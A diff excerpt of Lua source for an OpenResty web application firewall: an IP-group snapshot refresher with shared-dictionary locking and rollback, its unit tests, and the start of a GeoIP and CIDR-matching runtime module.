local function warn(message, err, forcible)
|
||||
local suffix = err and (": " .. tostring(err)) or ""
|
||||
if forcible then suffix = suffix .. " (forcible eviction refused)" end
|
||||
pcall(log_warning, "openflare WAF IP group refresh " .. message .. suffix)
|
||||
end
|
||||
|
||||
local function safe_set(key, value, description)
|
||||
local ok, err, forcible = shared:safe_set(key, value)
|
||||
if ok ~= true or forcible == true then
|
||||
warn(description, err, forcible)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
local function read_file(path)
|
||||
local file, err = io.open(path, "rb")
|
||||
if not file then return nil, err end
|
||||
local content = file:read("*a")
|
||||
file:close()
|
||||
return content
|
||||
end
|
||||
|
||||
local function valid_snapshot(snapshot)
|
||||
return type(snapshot) == "table" and type(snapshot.groups) == "table"
|
||||
end
|
||||
|
||||
local function decode_snapshot(raw)
|
||||
if type(raw) ~= "string" or raw == "" then return nil end
|
||||
local called, snapshot = pcall(decode, raw)
|
||||
if not called or not valid_snapshot(snapshot) then return nil end
|
||||
return snapshot
|
||||
end
|
||||
|
||||
local function refresh_from_checksum()
|
||||
local called, checksum = pcall(read_checksum)
|
||||
if not called or type(checksum) ~= "string" then return end
|
||||
checksum = string.match(checksum, "^%s*(.-)%s*$")
|
||||
local committed_version = shared:get(version_key)
|
||||
if checksum == "" or checksum == committed_version then return end
|
||||
|
||||
local json_called, raw = pcall(read_json)
|
||||
if not json_called then
|
||||
warn("JSON read failed", raw)
|
||||
return
|
||||
end
|
||||
if type(raw) ~= "string" or #raw > max_snapshot_bytes then
|
||||
warn("snapshot exceeds maximum " .. tostring(max_snapshot_bytes) .. " bytes")
|
||||
return
|
||||
end
|
||||
if not decode_snapshot(raw) then return end
|
||||
local raw_key = raw_snapshot_prefix .. checksum
|
||||
local existing_raw = shared:get(raw_key)
|
||||
local published_new_raw = false
|
||||
if existing_raw == nil then
|
||||
if not safe_set(raw_key, raw, "raw publication failed") then return end
|
||||
published_new_raw = true
|
||||
elseif existing_raw ~= raw then
|
||||
return
|
||||
end
|
||||
if not safe_set(version_key, checksum, "commit pointer publication failed") then
|
||||
if published_new_raw then shared:delete(raw_key) end
|
||||
return
|
||||
end
|
||||
|
||||
local previous_version = shared:get(previous_version_key)
|
||||
if type(committed_version) == "string" and committed_version ~= "" and committed_version ~= checksum then
|
||||
if not safe_set(previous_version_key, committed_version, "previous version metadata publication failed") then return end
|
||||
if type(previous_version) == "string" and previous_version ~= "" and
|
||||
previous_version ~= committed_version and previous_version ~= checksum then
|
||||
shared:delete(raw_snapshot_prefix .. previous_version)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
local function adopt_shared_snapshot_if_changed()
|
||||
local version = shared:get(version_key)
|
||||
if type(version) ~= "string" or version == "" or version == current_version then return end
|
||||
local snapshot = decode_snapshot(shared:get(raw_snapshot_prefix .. version))
|
||||
if not snapshot then return end
|
||||
-- Matchers are compiled lazily in waf.runtime (resty.ipmatcher / fallback index).
|
||||
current_groups = snapshot
|
||||
current_version = version
|
||||
end
|
||||
|
||||
local function tick(premature)
|
||||
if premature then return end
|
||||
local locked, lock_error, forcible = shared:safe_add(refresh_lock_key, true, 4)
|
||||
if forcible == true then
|
||||
warn("coordination lock refused forcible eviction", lock_error, true)
|
||||
locked = false
|
||||
elseif not locked and lock_error and lock_error ~= "exists" then
|
||||
warn("coordination lock failed", lock_error)
|
||||
end
|
||||
if locked then refresh_from_checksum() end
|
||||
adopt_shared_snapshot_if_changed()
|
||||
end
|
||||
|
||||
function _M.init(options)
|
||||
if initialized then return true end
|
||||
options = options or {}
|
||||
local runtime_dir = options.runtime_dir or "__OPENFLARE_RUNTIME_CONFIG_DIR__"
|
||||
shared = options.shared or (ngx.shared and ngx.shared.openflare_waf_ip_groups)
|
||||
assert(shared, "openflare_waf_ip_groups shared dictionary is required")
|
||||
max_snapshot_bytes = options.max_snapshot_bytes or tonumber("__OPENFLARE_WAF_IP_GROUPS_MAX_SNAPSHOT_BYTES__")
|
||||
assert(max_snapshot_bytes and max_snapshot_bytes > 0, "WAF IP group maximum snapshot size is required")
|
||||
log_warning = options.log_warning or function(message)
|
||||
if ngx and ngx.log then ngx.log(ngx.WARN, message) end
|
||||
end
|
||||
read_checksum = options.read_checksum or function()
|
||||
return read_file(runtime_dir .. "/waf_ip_groups.json.checksum")
|
||||
end
|
||||
read_json = options.read_json or function()
|
||||
return read_file(runtime_dir .. "/waf_ip_groups.json")
|
||||
end
|
||||
if options.decode then
|
||||
decode = options.decode
|
||||
else
|
||||
local cjson = require("cjson.safe")
|
||||
decode = cjson.decode
|
||||
end
|
||||
local timer_every = options.timer_every or ngx.timer.every
|
||||
local ok, err = timer_every(5, tick)
|
||||
if not ok then return nil, err end
|
||||
initialized = true
|
||||
tick(false)
|
||||
return true
|
||||
end
|
||||
|
||||
function _M.current()
|
||||
return current_groups
|
||||
end
|
||||
|
||||
return _M
|
||||
@@ -0,0 +1,356 @@
|
||||
local module_path = assert(WAF_IP_GROUPS_PATH, "WAF_IP_GROUPS_PATH is required")
|
||||
|
||||
local function assert_equal(actual, expected, message)
|
||||
if actual ~= expected then
|
||||
error((message or "values differ") .. ": expected " .. tostring(expected) .. ", got " .. tostring(actual), 2)
|
||||
end
|
||||
end
|
||||
|
||||
local shared_data = {}
|
||||
local locks = {}
|
||||
local shared = {}
|
||||
function shared:get(key) return shared_data[key] end
|
||||
function shared:set(key, value) shared_data[key] = value return true end
|
||||
function shared:delete(key) shared_data[key] = nil return true end
|
||||
function shared:safe_set(key, value) return shared:set(key, value) end
|
||||
function shared:add(key, value, ttl)
|
||||
assert_equal(ttl, 4, "coordination lock TTL")
|
||||
if locks[key] then return false end
|
||||
locks[key] = value
|
||||
return true
|
||||
end
|
||||
function shared:safe_add(key, value, ttl) return shared:add(key, value, ttl) end
|
||||
local function advance_time() locks = {} end
|
||||
|
||||
local disk_checksum = "v1"
|
||||
local disk_json = "valid-v1"
|
||||
local checksum_reads = 0
|
||||
local json_reads = 0
|
||||
local timer_callbacks = {}
|
||||
|
||||
local function decode(raw)
|
||||
if raw == "valid-v1" then
|
||||
return { groups = { ["1"] = { enabled = true, ip_list = { "192.0.2.1" } } } }
|
||||
end
|
||||
if raw == "valid-v2" then
|
||||
return { groups = { ["2"] = { enabled = true, ip_list = { "198.51.100.2" } } } }
|
||||
end
|
||||
if raw == "valid-v3" then
|
||||
return { groups = { ["3"] = { enabled = true, ip_list = { "203.0.113.3" } } } }
|
||||
end
|
||||
return nil, "invalid json"
|
||||
end
|
||||
|
||||
local function load_worker()
|
||||
local worker = assert(loadfile(module_path))()
|
||||
worker.init({
|
||||
shared = shared,
|
||||
timer_every = function(interval, callback)
|
||||
assert_equal(interval, 5, "refresh interval")
|
||||
timer_callbacks[#timer_callbacks + 1] = callback
|
||||
return true
|
||||
end,
|
||||
read_checksum = function()
|
||||
checksum_reads = checksum_reads + 1
|
||||
return disk_checksum
|
||||
end,
|
||||
read_json = function()
|
||||
json_reads = json_reads + 1
|
||||
return disk_json
|
||||
end,
|
||||
decode = decode,
|
||||
max_snapshot_bytes = 20 * 1024 * 1024,
|
||||
})
|
||||
return worker
|
||||
end
|
||||
|
||||
local first = load_worker()
|
||||
local second = load_worker()
|
||||
assert_equal(#timer_callbacks, 2, "each worker schedules a refresh timer")
|
||||
assert_equal(checksum_reads, 1, "one worker coordinates initial checksum read")
|
||||
assert_equal(json_reads, 1, "one worker reads initial JSON")
|
||||
assert_equal(first.current().groups["1"].ip_list[1], "192.0.2.1", "first worker adopts initial snapshot")
|
||||
assert_equal(second.current().groups["1"].ip_list[1], "192.0.2.1", "second worker adopts initial snapshot")
|
||||
|
||||
local function tick_all()
|
||||
advance_time()
|
||||
for _, callback in ipairs(timer_callbacks) do callback(false) end
|
||||
end
|
||||
|
||||
checksum_reads = 0
|
||||
json_reads = 0
|
||||
for _ = 1, 3 do tick_all() end
|
||||
assert_equal(checksum_reads, 3, "stable 15 seconds reads checksum once per interval")
|
||||
assert_equal(json_reads, 0, "unchanged checksum never reads JSON")
|
||||
|
||||
disk_checksum = "v2"
|
||||
disk_json = "valid-v2"
|
||||
tick_all()
|
||||
assert_equal(json_reads, 1, "changed snapshot JSON is read once across workers")
|
||||
assert_equal(first.current().groups["2"].ip_list[1], "198.51.100.2", "first worker adopts v2")
|
||||
assert_equal(second.current().groups["2"].ip_list[1], "198.51.100.2", "second worker adopts v2")
|
||||
|
||||
disk_checksum = "v3"
|
||||
disk_json = "valid-v3"
|
||||
tick_all()
|
||||
assert_equal(shared_data.ip_groups_previous_version, "v2", "previous pointer follows committed version")
|
||||
assert_equal(shared_data["ip_groups_raw:v1"], nil, "snapshot older than previous is cleaned")
|
||||
assert_equal(shared_data["ip_groups_raw:v2"], "valid-v2", "previous committed raw is retained")
|
||||
assert_equal(shared_data["ip_groups_raw:v3"], "valid-v3", "current committed raw is retained")
|
||||
|
||||
disk_checksum = "v2"
|
||||
disk_json = "valid-v2"
|
||||
tick_all()
|
||||
assert_equal(shared_data.ip_groups_version, "v2", "rollback checksum becomes current commit")
|
||||
assert_equal(shared_data.ip_groups_previous_version, "v3", "rollback retains former current as previous")
|
||||
assert_equal(shared_data["ip_groups_raw:v2"], "valid-v2", "rollback must not clean its new current raw")
|
||||
assert_equal(shared_data["ip_groups_raw:v3"], "valid-v3", "rollback retains previous raw")
|
||||
|
||||
disk_checksum = "v4"
|
||||
disk_json = "invalid-v4"
|
||||
tick_all()
|
||||
assert_equal(shared_data.ip_groups_version, "v2", "invalid update preserves shared version")
|
||||
assert_equal(first.current().groups["2"].ip_list[1], "198.51.100.2", "invalid update preserves first worker")
|
||||
assert_equal(second.current().groups["2"].ip_list[1], "198.51.100.2", "invalid update preserves second worker")
|
||||
|
||||
local reads_before_requests = checksum_reads + json_reads
|
||||
for _ = 1, 20 do
|
||||
assert_equal(first.current().groups["2"].enabled, true, "request reads worker-local object")
|
||||
end
|
||||
assert_equal(checksum_reads + json_reads, reads_before_requests, "current() performs zero file I/O")
|
||||
|
||||
timer_callbacks[1](true)
|
||||
assert_equal(checksum_reads + json_reads, reads_before_requests, "premature timer performs zero file I/O")
|
||||
|
||||
local function test_failed_commit_never_exposes_unpublished_raw_to_new_worker()
|
||||
local data = {}
|
||||
local held_locks = {}
|
||||
local callbacks = {}
|
||||
local checksum = "v1"
|
||||
local raw = "valid-v1"
|
||||
local reads = 0
|
||||
local fail_commit = false
|
||||
local interleaved_worker
|
||||
local load_regression_worker
|
||||
local regression_shared = {}
|
||||
|
||||
function regression_shared:get(key) return data[key] end
|
||||
function regression_shared:add(key, value)
|
||||
if held_locks[key] then return false end
|
||||
held_locks[key] = value
|
||||
return true
|
||||
end
|
||||
function regression_shared:delete(key) data[key] = nil return true end
|
||||
local function set_regression_value(key, value)
|
||||
if key == "ip_groups_version" and fail_commit then
|
||||
return false, "shared dictionary full"
|
||||
end
|
||||
data[key] = value
|
||||
if fail_commit and string.sub(key, 1, #"ip_groups_raw") == "ip_groups_raw" and not interleaved_worker then
|
||||
interleaved_worker = load_regression_worker()
|
||||
end
|
||||
return true
|
||||
end
|
||||
function regression_shared:set(key, value) return set_regression_value(key, value) end
|
||||
function regression_shared:safe_set(key, value) return set_regression_value(key, value) end
|
||||
function regression_shared:safe_add(key, value) return regression_shared:add(key, value) end
|
||||
|
||||
load_regression_worker = function()
|
||||
local worker = assert(loadfile(module_path))()
|
||||
assert(worker.init({
|
||||
shared = regression_shared,
|
||||
timer_every = function(_, callback) callbacks[#callbacks + 1] = callback return true end,
|
||||
read_checksum = function() return checksum end,
|
||||
read_json = function() reads = reads + 1 return raw end,
|
||||
decode = decode,
|
||||
max_snapshot_bytes = 20 * 1024 * 1024,
|
||||
}))
|
||||
return worker
|
||||
end
|
||||
|
||||
local established_worker = load_regression_worker()
|
||||
assert_equal(established_worker.current().groups["1"].ip_list[1], "192.0.2.1", "v1 is committed before failure")
|
||||
|
||||
held_locks = {}
|
||||
reads = 0
|
||||
checksum = "v2"
|
||||
raw = "valid-v2"
|
||||
fail_commit = true
|
||||
callbacks[1](false)
|
||||
|
||||
assert_equal(reads, 1, "failed commit still reads changed JSON only once")
|
||||
assert_equal(data.ip_groups_version, "v1", "failed pointer write preserves committed version")
|
||||
assert_equal(data["ip_groups_raw:v2"], nil, "failed commit cleans only unpublished v2 raw")
|
||||
assert_equal(established_worker.current().groups["1"].ip_list[1], "192.0.2.1", "existing worker preserves committed v1")
|
||||
assert(interleaved_worker, "raw publication must interleave a newly initialized worker")
|
||||
assert_equal(interleaved_worker.current().groups["2"], nil, "new worker must not expose unpublished v2")
|
||||
assert_equal(interleaved_worker.current().groups["1"].ip_list[1], "192.0.2.1", "new worker must never adopt unpublished v2 raw")
|
||||
end
|
||||
|
||||
test_failed_commit_never_exposes_unpublished_raw_to_new_worker()
|
||||
|
||||
local function test_capacity_failure_never_evicts_committed_snapshot()
|
||||
local data = {
|
||||
ip_groups_version = "v1",
|
||||
ip_groups_previous_version = "v0",
|
||||
["ip_groups_raw:v1"] = "valid-v1",
|
||||
["ip_groups_raw:v0"] = "valid-v0",
|
||||
}
|
||||
local locks = {}
|
||||
local callbacks = {}
|
||||
local disk_checksum = "v1"
|
||||
local disk_raw = "valid-v1"
|
||||
local json_reads = 0
|
||||
local ordinary_writes = 0
|
||||
local warnings = {}
|
||||
local dict = {}
|
||||
function dict:get(key) return data[key] end
|
||||
function dict:delete(key) data[key] = nil return true end
|
||||
function dict:add(key, value)
|
||||
if locks[key] then return false end
|
||||
locks[key] = value
|
||||
return true
|
||||
end
|
||||
function dict:safe_add(key, value) return dict:add(key, value) end
|
||||
function dict:set(key, value)
|
||||
ordinary_writes = ordinary_writes + 1
|
||||
if key == "ip_groups_raw:v2" then
|
||||
data = { [key] = value }
|
||||
return true, nil, true
|
||||
end
|
||||
data[key] = value
|
||||
return true, nil, false
|
||||
end
|
||||
function dict:safe_set(key, value)
|
||||
if key == "ip_groups_raw:v2" then return nil, "no memory", false end
|
||||
data[key] = value
|
||||
return true, nil, false
|
||||
end
|
||||
|
||||
local worker = assert(loadfile(module_path))()
|
||||
assert(worker.init({
|
||||
shared = dict,
|
||||
timer_every = function(_, callback) callbacks[1] = callback return true end,
|
||||
read_checksum = function() return disk_checksum end,
|
||||
read_json = function() json_reads = json_reads + 1 return disk_raw end,
|
||||
decode = decode,
|
||||
max_snapshot_bytes = 20 * 1024 * 1024,
|
||||
log_warning = function(message) warnings[#warnings + 1] = message end,
|
||||
}))
|
||||
assert_equal(worker.current().groups["1"].ip_list[1], "192.0.2.1", "worker starts from committed v1")
|
||||
|
||||
locks = {}
|
||||
disk_checksum = "v2"
|
||||
disk_raw = "valid-v2"
|
||||
callbacks[1](false)
|
||||
|
||||
assert_equal(ordinary_writes, 0, "snapshot publication must never use evicting set")
|
||||
assert_equal(json_reads, 1, "capacity failure reads changed JSON once")
|
||||
assert_equal(data.ip_groups_version, "v1", "capacity failure preserves commit pointer")
|
||||
assert_equal(data.ip_groups_previous_version, "v0", "capacity failure preserves previous metadata")
|
||||
assert_equal(data["ip_groups_raw:v1"], "valid-v1", "capacity failure preserves current raw")
|
||||
assert_equal(data["ip_groups_raw:v0"], "valid-v0", "capacity failure preserves previous raw")
|
||||
assert_equal(data["ip_groups_raw:v2"], nil, "capacity failure does not publish new raw")
|
||||
assert_equal(worker.current().groups["1"].ip_list[1], "192.0.2.1", "capacity failure preserves worker-local snapshot")
|
||||
assert_equal(#warnings, 1, "capacity failure is logged")
|
||||
end
|
||||
|
||||
local function test_previous_metadata_failure_keeps_committed_snapshot_without_cleanup()
|
||||
local data = {
|
||||
ip_groups_version = "v1",
|
||||
ip_groups_previous_version = "v0",
|
||||
["ip_groups_raw:v1"] = "valid-v1",
|
||||
["ip_groups_raw:v0"] = "valid-v0",
|
||||
}
|
||||
local locks = {}
|
||||
local callback
|
||||
local checksum = "v1"
|
||||
local raw = "valid-v1"
|
||||
local deletes = 0
|
||||
local warnings = {}
|
||||
local dict = {}
|
||||
function dict:get(key) return data[key] end
|
||||
function dict:delete(key) deletes = deletes + 1 data[key] = nil return true end
|
||||
function dict:add(key, value)
|
||||
if locks[key] then return false end
|
||||
locks[key] = value
|
||||
return true
|
||||
end
|
||||
function dict:safe_add(key, value) return dict:add(key, value) end
|
||||
function dict:set(key, value) data[key] = value return true end
|
||||
function dict:safe_set(key, value)
|
||||
if key == "ip_groups_previous_version" then return nil, "no memory", false end
|
||||
data[key] = value
|
||||
return true, nil, false
|
||||
end
|
||||
|
||||
local worker = assert(loadfile(module_path))()
|
||||
assert(worker.init({
|
||||
shared = dict,
|
||||
timer_every = function(_, value) callback = value return true end,
|
||||
read_checksum = function() return checksum end,
|
||||
read_json = function() return raw end,
|
||||
decode = decode,
|
||||
max_snapshot_bytes = 20 * 1024 * 1024,
|
||||
log_warning = function(message) warnings[#warnings + 1] = message end,
|
||||
}))
|
||||
|
||||
locks = {}
|
||||
checksum = "v2"
|
||||
raw = "valid-v2"
|
||||
callback(false)
|
||||
|
||||
assert_equal(data.ip_groups_version, "v2", "successful commit pointer remains authoritative")
|
||||
assert_equal(data.ip_groups_previous_version, "v0", "failed previous metadata write is not forced")
|
||||
assert_equal(data["ip_groups_raw:v2"], "valid-v2", "new committed raw remains")
|
||||
assert_equal(data["ip_groups_raw:v1"], "valid-v1", "old current raw remains when cleanup is skipped")
|
||||
assert_equal(data["ip_groups_raw:v0"], "valid-v0", "old previous raw remains when cleanup is skipped")
|
||||
assert_equal(deletes, 0, "previous metadata failure skips all cleanup")
|
||||
assert_equal(worker.current().groups["2"].ip_list[1], "198.51.100.2", "worker adopts valid committed v2")
|
||||
assert_equal(#warnings, 1, "previous metadata failure is logged")
|
||||
end
|
||||
|
||||
local function test_oversized_raw_is_rejected_before_shared_publication()
|
||||
local data = { ip_groups_version = "v1", ["ip_groups_raw:v1"] = "valid-v1" }
|
||||
local locks = {}
|
||||
local callback
|
||||
local checksum = "v1"
|
||||
local raw = "valid-v1"
|
||||
local shared_writes = 0
|
||||
local warnings = {}
|
||||
local dict = {}
|
||||
function dict:get(key) return data[key] end
|
||||
function dict:delete(key) data[key] = nil return true end
|
||||
function dict:add(key, value) if locks[key] then return false end locks[key] = value return true end
|
||||
function dict:safe_add(key, value) return dict:add(key, value) end
|
||||
function dict:set(key, value) shared_writes = shared_writes + 1 data[key] = value return true end
|
||||
function dict:safe_set(key, value) shared_writes = shared_writes + 1 data[key] = value return true, nil, false end
|
||||
|
||||
local worker = assert(loadfile(module_path))()
|
||||
assert(worker.init({
|
||||
shared = dict,
|
||||
timer_every = function(_, value) callback = value return true end,
|
||||
read_checksum = function() return checksum end,
|
||||
read_json = function() return raw end,
|
||||
decode = decode,
|
||||
max_snapshot_bytes = 4,
|
||||
log_warning = function(message) warnings[#warnings + 1] = message end,
|
||||
}))
|
||||
|
||||
locks = {}
|
||||
checksum = "v2"
|
||||
raw = "valid-v2"
|
||||
callback(false)
|
||||
|
||||
assert_equal(shared_writes, 0, "oversized raw is rejected before shared writes")
|
||||
assert_equal(data.ip_groups_version, "v1", "oversized raw preserves commit pointer")
|
||||
assert_equal(data["ip_groups_raw:v1"], "valid-v1", "oversized raw preserves committed data")
|
||||
assert_equal(worker.current().groups["1"].ip_list[1], "192.0.2.1", "oversized raw preserves worker-local snapshot")
|
||||
assert_equal(#warnings, 1, "oversized raw rejection is logged")
|
||||
end
|
||||
|
||||
test_capacity_failure_never_evicts_committed_snapshot()
|
||||
test_previous_metadata_failure_keeps_committed_snapshot_without_cleanup()
|
||||
test_oversized_raw_is_rejected_before_shared_publication()
|
||||
|
||||
return true
|
||||
@@ -0,0 +1,947 @@
|
||||
local _M = {}
|
||||
|
||||
local rules_config
|
||||
local ip_groups_config
|
||||
local ip_groups_runtime
|
||||
local pow_runtime
|
||||
local geo_lookup
|
||||
local geo_module
|
||||
local geo_profiles = { city = false, country = false }
|
||||
|
||||
local function read_file(path)
|
||||
local file, err = io.open(path, "r")
|
||||
if not file then
|
||||
return nil, err
|
||||
end
|
||||
local content = file:read("*a")
|
||||
file:close()
|
||||
return content
|
||||
end
|
||||
|
||||
local function load_json(path)
|
||||
local content, err = read_file(path)
|
||||
if not content or content == "" then
|
||||
return nil, err or "empty file"
|
||||
end
|
||||
local decoded, decode_err = require("cjson.safe").decode(content)
|
||||
if not decoded then
|
||||
return nil, decode_err or "invalid JSON"
|
||||
end
|
||||
return decoded
|
||||
end
|
||||
|
||||
local function warn_rate_limited(key, ...)
|
||||
local dict = ngx.shared and ngx.shared.openflare_waf_config
|
||||
if not dict or not dict.add or dict:add(key, true, 60) then
|
||||
ngx.log(ngx.WARN, ...)
|
||||
end
|
||||
end
|
||||
|
||||
local function array_or_empty(value)
|
||||
if type(value) == "table" then return value end
|
||||
return {}
|
||||
end
|
||||
|
||||
local function file_exists(path)
|
||||
local file = io.open(path, "rb")
|
||||
if not file then return false end
|
||||
file:close()
|
||||
return true
|
||||
end
|
||||
|
||||
local function init_geo_databases(country_path, city_path, path_exists, region_required)
|
||||
local ok, module_or_error = pcall(require, "resty.maxminddb")
|
||||
if not ok or not module_or_error then
|
||||
warn_rate_limited("_geo_module_unavailable", "openflare waf GeoIP module unavailable: ", module_or_error)
|
||||
return
|
||||
end
|
||||
geo_module = module_or_error
|
||||
local profiles = {}
|
||||
if path_exists(city_path) then profiles.city = city_path end
|
||||
if path_exists(country_path) then profiles.country = country_path end
|
||||
if not profiles.city and region_required then
|
||||
warn_rate_limited("_geo_city_unavailable", "openflare waf GeoLite2 City database unavailable; region match takes false branch")
|
||||
end
|
||||
if not profiles.country and not profiles.city then
|
||||
warn_rate_limited("_geo_database_unavailable", "openflare waf GeoIP databases unavailable")
|
||||
return
|
||||
end
|
||||
local function initialize_profile(profile, path)
|
||||
local called, init_result, init_error = pcall(geo_module.init, { [profile] = path })
|
||||
if not called or init_result ~= true then
|
||||
return false, init_error or init_result
|
||||
end
|
||||
geo_profiles[profile] = true
|
||||
return true
|
||||
end
|
||||
local city_initialized, city_error = false, nil
|
||||
if profiles.city then
|
||||
city_initialized, city_error = initialize_profile("city", profiles.city)
|
||||
if not city_initialized and region_required then
|
||||
warn_rate_limited("_geo_city_unavailable", "openflare waf GeoLite2 City database initialization failed; region match takes false branch: ", city_error)
|
||||
end
|
||||
end
|
||||
local country_initialized, country_error = false, nil
|
||||
if profiles.country then
|
||||
country_initialized, country_error = initialize_profile("country", profiles.country)
|
||||
end
|
||||
if not city_initialized and not country_initialized then
|
||||
warn_rate_limited("_geo_database_unavailable", "openflare waf GeoIP database initialization failed: ", country_error or city_error)
|
||||
end
|
||||
end
|
||||
|
||||
local function lookup_geo_profile(ip, profile)
|
||||
if not geo_module or not geo_profiles[profile] then return nil end
|
||||
local ok, result, lookup_error = pcall(geo_module.lookup, ip, nil, profile)
|
||||
if not ok or not result then
|
||||
warn_rate_limited("_geo_lookup_failed_" .. profile, "openflare waf GeoIP ", profile, " lookup failed: ", lookup_error or result)
|
||||
return nil
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
local function default_geo_lookup(ip, region_required)
|
||||
local result = lookup_geo_profile(ip, "city")
|
||||
local from_city = result ~= nil
|
||||
if not result then result = lookup_geo_profile(ip, "country") end
|
||||
if not result then return nil, nil end
|
||||
local country = result.country and result.country.iso_code or nil
|
||||
local subdivision
|
||||
if from_city then
|
||||
subdivision = result.most_specific_subdivision and result.most_specific_subdivision.iso_code or nil
|
||||
if not subdivision and result.subdivisions and result.subdivisions[1] then
|
||||
subdivision = result.subdivisions[1].iso_code
|
||||
end
|
||||
elseif region_required then
|
||||
warn_rate_limited("_geo_city_unavailable", "openflare waf GeoLite2 City database unavailable; region match takes false branch")
|
||||
end
|
||||
country = country and string.upper(country) or nil
|
||||
subdivision = subdivision and string.upper(subdivision) or nil
|
||||
local region = subdivision
|
||||
if country and subdivision and not string.match(subdivision, "^[A-Z][A-Z]%-") then
|
||||
region = country .. "-" .. subdivision
|
||||
end
|
||||
return country, region
|
||||
end
|
||||
|
||||
local function config_geo_requirements(config)
|
||||
local uses_geo, uses_region = false, false
|
||||
for _, rule in ipairs(array_or_empty(config.rule_groups)) do
|
||||
for _, node in pairs((rule.graph or {}).nodes or {}) do
|
||||
if node.type == "geo_match" then
|
||||
uses_geo = true
|
||||
local node_config = node.config or {}
|
||||
if type(node_config.regions) == "table" and #node_config.regions > 0 then uses_region = true end
|
||||
end
|
||||
end
|
||||
end
|
||||
return uses_geo, uses_region
|
||||
end
|
||||
|
||||
function _M.init(options)
|
||||
options = options or {}
|
||||
local runtime_dir = options.runtime_dir or "__OPENFLARE_RUNTIME_CONFIG_DIR__"
|
||||
-- Always apply explicit test/runtime injections; only short-circuit cold disk load once.
|
||||
if options.config then
|
||||
rules_config = options.config
|
||||
elseif not rules_config then
|
||||
local err
|
||||
rules_config, err = load_json(runtime_dir .. "/waf_config.json")
|
||||
assert(rules_config, "load waf_config.json failed: " .. tostring(err))
|
||||
end
|
||||
if options.ip_groups then
|
||||
ip_groups_config = options.ip_groups
|
||||
-- Drop stale compiled matchers when tests inject a fresh snapshot table.
|
||||
local groups = (ip_groups_config.groups or {})
|
||||
for _, group in pairs(groups) do
|
||||
if type(group) == "table" then group._matcher = nil end
|
||||
end
|
||||
elseif not ip_groups_config and not ip_groups_runtime then
|
||||
ip_groups_runtime = options.ip_groups_runtime or require("waf.ip_groups")
|
||||
local initialized, init_error = ip_groups_runtime.init({ runtime_dir = runtime_dir })
|
||||
assert(initialized, "initialize WAF IP groups failed: " .. tostring(init_error))
|
||||
end
|
||||
if options.pow then
|
||||
pow_runtime = options.pow
|
||||
elseif not pow_runtime then
|
||||
pow_runtime = require("pow.runtime")
|
||||
end
|
||||
if options.geo_lookup then
|
||||
geo_lookup = options.geo_lookup
|
||||
elseif not geo_lookup then
|
||||
local uses_geo, uses_region = config_geo_requirements(rules_config)
|
||||
if uses_geo then
|
||||
init_geo_databases(
|
||||
options.country_mmdb_path or "__OPENFLARE_COUNTRY_MMDB_PATH__",
|
||||
options.city_mmdb_path or "__OPENFLARE_CITY_MMDB_PATH__",
|
||||
options.geo_file_exists or file_exists,
|
||||
uses_region
|
||||
)
|
||||
end
|
||||
geo_lookup = default_geo_lookup
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
-- Task 7 can atomically replace the worker-local IP group snapshot through this seam.
|
||||
function _M.replace_ip_groups(snapshot)
|
||||
ip_groups_config = snapshot or { groups = {} }
|
||||
end
|
||||
|
||||
local function list_contains(items, value)
|
||||
if type(items) ~= "table" or not value then return false end
|
||||
value = string.upper(value)
|
||||
for _, item in ipairs(items) do
|
||||
if string.upper(tostring(item)) == value then return true end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function parse_ipv4(value)
|
||||
local a, b, c, d = string.match(value or "", "^(%d+)%.(%d+)%.(%d+)%.(%d+)$")
|
||||
if not a then return nil end
|
||||
a, b, c, d = tonumber(a), tonumber(b), tonumber(c), tonumber(d)
|
||||
if a > 255 or b > 255 or c > 255 or d > 255 then return nil end
|
||||
return ((a * 256 + b) * 256 + c) * 256 + d
|
||||
end
|
||||
|
||||
local function split_ipv6_side(value)
|
||||
local result = {}
|
||||
if value == "" then return result end
|
||||
for part in string.gmatch(value, "[^:]+") do
|
||||
if string.find(part, ".", 1, true) then
|
||||
local ipv4 = parse_ipv4(part)
|
||||
if not ipv4 then return nil end
|
||||
result[#result + 1] = math.floor(ipv4 / 65536)
|
||||
result[#result + 1] = ipv4 % 65536
|
||||
else
|
||||
if #part > 4 or not string.match(part, "^[%x]+$") then return nil end
|
||||
local number = tonumber(part, 16)
|
||||
if not number or number > 65535 then return nil end
|
||||
result[#result + 1] = number
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
local function parse_ipv6(value)
|
||||
value = string.lower(value or "")
|
||||
local compressed_at = string.find(value, "::", 1, true)
|
||||
if compressed_at and string.find(value, "::", compressed_at + 2, true) then return nil end
|
||||
local left, right
|
||||
if compressed_at then
|
||||
left = split_ipv6_side(string.sub(value, 1, compressed_at - 1))
|
||||
right = split_ipv6_side(string.sub(value, compressed_at + 2))
|
||||
else
|
||||
if string.sub(value, 1, 1) == ":" or string.sub(value, -1) == ":" then return nil end
|
||||
left, right = split_ipv6_side(value), {}
|
||||
end
|
||||
if not left or not right then return nil end
|
||||
local missing = 8 - #left - #right
|
||||
if (compressed_at and missing < 1) or (not compressed_at and missing ~= 0) then return nil end
|
||||
local result = {}
|
||||
for _, number in ipairs(left) do result[#result + 1] = number end
|
||||
for _ = 1, missing do result[#result + 1] = 0 end
|
||||
for _, number in ipairs(right) do result[#result + 1] = number end
|
||||
if #result ~= 8 then return nil end
|
||||
return result
|
||||
end
|
||||
|
||||
local function ipv6_key(groups)
|
||||
return table.concat(groups, ":")
|
||||
end
|
||||
|
||||
local function preparse_cidr(cidr)
|
||||
local base, bits = string.match(cidr or "", "^([^/]+)/(%d+)$")
|
||||
bits = tonumber(bits)
|
||||
if not base or not bits then return nil end
|
||||
local base_v4 = parse_ipv4(base)
|
||||
if base_v4 then
|
||||
if bits < 0 or bits > 32 then return nil end
|
||||
if bits == 0 then return { kind = "v4", bits = 0, network = 0, size = 0 } end
|
||||
local size = 2 ^ (32 - bits)
|
||||
return { kind = "v4", bits = bits, network = base_v4 - (base_v4 % size), size = size }
|
||||
end
|
||||
local base_v6 = parse_ipv6(base)
|
||||
if not base_v6 or bits < 0 or bits > 128 then return nil end
|
||||
return { kind = "v6", bits = bits, groups = base_v6 }
|
||||
end
|
||||
|
||||
local function ipv4_in_preparsed(ip_number, cidr)
|
||||
if cidr.bits == 0 then return true end
|
||||
return ip_number - (ip_number % cidr.size) == cidr.network
|
||||
end
|
||||
|
